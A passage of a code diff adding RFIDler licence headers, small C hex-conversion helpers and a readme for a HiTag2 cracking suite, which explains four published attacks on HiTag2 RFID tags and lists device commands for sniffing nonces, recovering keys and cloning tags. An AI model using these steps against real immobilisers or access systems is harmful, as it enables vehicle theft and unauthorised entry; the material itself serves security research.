* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie <adam@aperturelabs.com>
/*
* Hitag Crypto support macros
* These macros reverse the bit order in a byte, or *within* each byte of a
* 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.)
*/
#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \
+ (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \
+ (((X) << 5) &64) + (((X) << 7) &128) )
#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8))
#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16))
#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32))
unsigned long hexreversetoulong(BYTE *hex);
unsigned long long hexreversetoulonglong(BYTE *hex);

View file

@ -0,0 +1,183 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie <adam@aperturelabs.com>
#include <string.h>
#include <stdio.h>
#include "HardwareProfile.h"
#include "util.h"
#include "rfidler.h"
//#include "comms.h"
// rtc
rtccTime RTC_time; // time structure
rtccDate RTC_date; // date structure
// convert byte-reversed 8 digit hex to unsigned long
unsigned long hexreversetoulong(BYTE *hex)
{
unsigned long ret= 0L;
unsigned int x;
BYTE i;
if(strlen(hex) != 8)
return 0L;
for(i= 0 ; i < 4 ; ++i)
{
if(sscanf(hex, "%2X", &x) != 1)
return 0L;
ret += ((unsigned long) x) << i * 8;
hex += 2;
}
return ret;
}
// convert byte-reversed 12 digit hex to unsigned long
unsigned long long hexreversetoulonglong(BYTE *hex)
{
unsigned long long ret= 0LL;
BYTE tmp[9];
// this may seem an odd way to do it, but weird compiler issues were
// breaking direct conversion!
tmp[8]= '\0';
memset(tmp + 4, '0', 4);
memcpy(tmp, hex + 8, 4);
ret= hexreversetoulong(tmp);
ret <<= 32;
memcpy(tmp, hex, 8);
ret += hexreversetoulong(tmp);
return ret;
}

206
tools/hitag2crack/readme.md Normal file
View file

@ -0,0 +1,206 @@
HiTag2 Cracking Suite
---------------------
Author: Kevin Sheldrake <kev@headhacking.com>
Introduction
------------
These tools are implementations of the four attacks detailed in the papers,
Gone In 360 Seconds - Hijacking With HiTag 2 by Roel Verdult, Flavio Garcia
and Josep Balasch, and Lock It And Still Lose It - on the (In)Security of
Automotive Remote Keyless Entry Systems by Flavio Garcia, David Oswald,
Timo Kasper and Pierre Pavlides. The first three attacks come from the first
paper and the fourth attack comes from the second paper.
Attack 1
--------
Attack 1 is a nonce replay and length extension attack. This is an attack on
a single HiTag2 RFID tag, given a single encrypted nonce and challenge
response value pair (nR, aR) for the tag's UID. The attack runs entirely on
the RFIDler with it acting like a RWD that replays the same encrypted nonce
and challenge response pair for every interaction; this fixes the key stream
that the tag's PRNG outputs to the same stream for every interaction.
By brute forcing a subset of the encrypted command space, the RFIDler finds a
single valid encrypted command - invalid commands return a known unencrypted
error response so finding a valid one is simply a case of trying different
values until a response other than the error response is received.
It then bit flips the valid encrypted command to find the other 15 valid
encrypted commands. By knowing the contents of page 0 - it's the UID that
is presented in clear at the start of each interaction - it tries each
encrypyted response in turn, assuming each to be the encrypted version of
'read page 0 non-inverted' and each response to be the encrypted version of
page 0.
For each attempted command, it calculates the key stream that would have
correctly generated the encrypted command and response:
command ++ response XOR key stream = encrypted command ++ encrypted response
therefore:
key stream = command ++ response XOR encrypted command ++ encrypted response
It then tests the potentially recovered key stream by creating an encrypted
command that consumes as much of it as possible, re-initialising with the same
encrypyted nonce and challenge response pair (to set the key stream to the
same stream as that which produced the encrypted command response it is
testing), and then sending this extended encrypted command. If the response
is not the error response, then the key stream is valid and the response is
the encryption of the page 0 contents (the UID).
When one of the valid encrypted commands satisfies this situation, the
recovered key stream must be the output of the PRNG for the given encrypted
nonce and challenge response pair.
The RFIDler then uses this key stream to encrypt commands and decrypt the
responses, and therefore requests the contents of all 8 pages. Pages 1 and 2
contain the encryption key.
Attack 2
--------
Attack 2 is a time/space trade off to recover the key for situations where the
tag has been configured to prevent reading of pages 1 and 2. This attack uses
a pre-computed table of 2^37 PRNG states and resultant PRNG output, sorted on
the PRNG output. The RFIDler is used to recover 2048 bits of key stream using
a modification of attack 1 and this is used to search the table for matching
PRNG output. When the output is found, it is tested for validity (by testing
previous or following PRNG output) and then the PRNG state is rolled back to
the initialisation state, from which the unecrypted nonce and key can be
recovered.
Attack 3
--------
Attack 3 is a cryptanalytic attack that focuses on the RWD and a bias in the
PRNG output. By capturing 136 encrypted nonce and challenge response pairs,
candidates for the first 34 bits of the key can be identified, and for each
the remaining 14 bits can be brute forced.
Attack 4
--------
Attack 4 is a fast correlative attack on the key based on a number of captured
encrypted nonce and challenge response pairs (up to 32, but 16 usually
sufficient). It starts by guessing the first 16 bits of the key and scores
all these guesses against how likely they are to be the correct key, given the
encrypted nonces and the keystream they should produce. Each guess is then
expanded by 1 bit and the process iterates, with only the best guesses taken
forward to the next iteration.
Usage details
-------------
Attack 1 requires a valid tag and a valid encrypted nonce and challenge
response pair. The attacker needs to obtain a valid tag and then use this to
obtain a valid encrypted nonce and challenge response pair. This can be
acheived by using the RFIDler 'SNIFF-PWM S' command (having previously cleared
the nonce storage with 'SNIFF-PWM C'), placing the coil on the RWD and
presenting the valid tag. The encrypted nonce and challenge response pairs
can then be read out with the 'SNIFF-PWM L' command. These values can then
be used to attack the tag with 'HITAG2-CRACK <nR> <aR>'.
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM C
RFIDler: SNIFF-PWM S
Capture encrypted nonce and challenge response pair (nR, aR).
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM L
RFIDler: HITAG2-CRACK <nR> <aR>
Attack 2 requires the same resources as attack 1, plus a pre-computed table.
The table can be generated on a disk with >1.5TB of storage, although it takes
some time (allow a couple of days).
./ht2crack2buildtable
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM C
RFIDler: SNIFF-PWM S
Capture encrypted nonce and challenge response pair (nR, aR).
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM L
RFIDler: UID
RFIDler: HITAG2-KEYSTREAM <nR> <aR>
Copy/paste the key stream to a file.
./ht2crack2search <key stream file> <tag UID> <nR>
Attack 3 requires only interaction with the RWD and does not require a valid
tag, although it does require a HiTag2 tag that the RWD will initially respond
to; e.g. you could potentially use any HiTag2 tag as long as the RWD starts
the crypto handshake with it. It requires >=136 encrypted nonce and challenge
response pairs for the same tag UID.
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM C
RFIDler: SNIFF-PWM S
Capture >=136 encrypted nonce and challenge response pairs (nR, aR).
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM L
RFIDler: UID
Copy/paste the encrypted nonce and challenge response pairs into a file.
./ht2crack3 <tag UID> <nR aR file>
Attack 4 requires the same information as attack 3, but only 16-32 encrypted
nonce and challenge response pairs are required.
./ht2crack4 -u <tag UID> -n <nR aR file> [-N <number of nonces to use>]
[-t <table size>]
Start with -N 16 and -t 500000. If the attack fails to find the key, double
the table size and try again, repeating if it still fails.
Once the key has been recovered using one of these attacks, the RFIDler can
be configured to operate as a RWD and will capture tags using that key.
RFIDler: SET TAG HITAG2
RFIDler: HITAG2-READER <KEY>
Both the SNIFF-PWM and HITAG2-READER commands can be used as AUTORUN commands
for when the RFIDler is powered from a USB power supply without interaction.
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM C
RFIDler: AUTORUN SNIFF-PWM S
RFIDler: SAVE
Capture encrypted nonce and challenge response pairs.
RFIDler: SET TAG HITAG2
RFIDler: SNIFF-PWM L
RFIDler: SET TAG HITAG2
RFIDler: HITAG2-CLEARSTOREDTAGS
RFIDler: AUTORUN HITAG2-READER <KEY> S
RFIDler: SAVE
Capture tags.
RFIDler: HITAG2-COUNTSTOREDTAGS
RFIDler: HITAG2-LISTSTOREDTAGS [START] [END]
Tags can be copied with standard RFIDler commands.
RFIDler: SET TAG HITAG2
RFIDler: COPY
RFIDler: VTAG
Replace original tag with a blank tag.
RFIDler: CLONE <blank tag password/key - defaults to 4d494b52>
OR:
RFIDler: SET TAG HITAG2
RFIDler: SET VTAG HITAG2
RFIDler: VWRITE 0 <page 0 contents>
RFIDler: VWRITE 1 <page 1 contents>
...
RFIDler: VWRITE 7 <page 7 contents>
RFIDler: VTAG
Place blank tag on coil.
RFIDler: CLONE <blank tag password/key - defaults to 4d494b52>
OR:
RFIDler: SET TAG HITAG2
RFIDler: SET VTAG HITAG2
RFIDler: VWRITE 0 <all 8 page contents with no spaces>
RFIDler: VTAG
Place blank tag on coil.
RFIDler: CLONE <blank tag password/key - defaults to 4d494b52>

View file

@ -30,3 +30,7 @@ securakey-64169.pm3 Securakey Tag BitLen: 26, Card ID: 64169, FC: 0x35
motorola_0437_00072.pm3: Motorola Grey clamshell card, old. (RAW: A0000000E308C0C1) motorola_0437_00072.pm3: Motorola Grey clamshell card, old. (RAW: A0000000E308C0C1)
verichip_1022000000084146.pm3: VeriChip, epoxy encased glasschip (ID: 1022-00000000084146) verichip_1022000000084146.pm3: VeriChip, epoxy encased glasschip (ID: 1022-00000000084146)
sniff-ht2-BC3B8810-acg-reader.pm3: sniffing of Hitag2 being read by an HID ACG LF Multitag reader
sniff-ht2-BC3B8810-frosch-reader.pm3: sniffing of Hitag2 being read by a Frosch Hitag reader
sniff-ht2-BC3B8810-rfidler-reader.pm3: sniffing of Hitag2 being read by a RFIDler

File diff suppressed because it is too large Load diff

File diff suppressed because it is too large Load diff

File diff suppressed because it is too large Load diff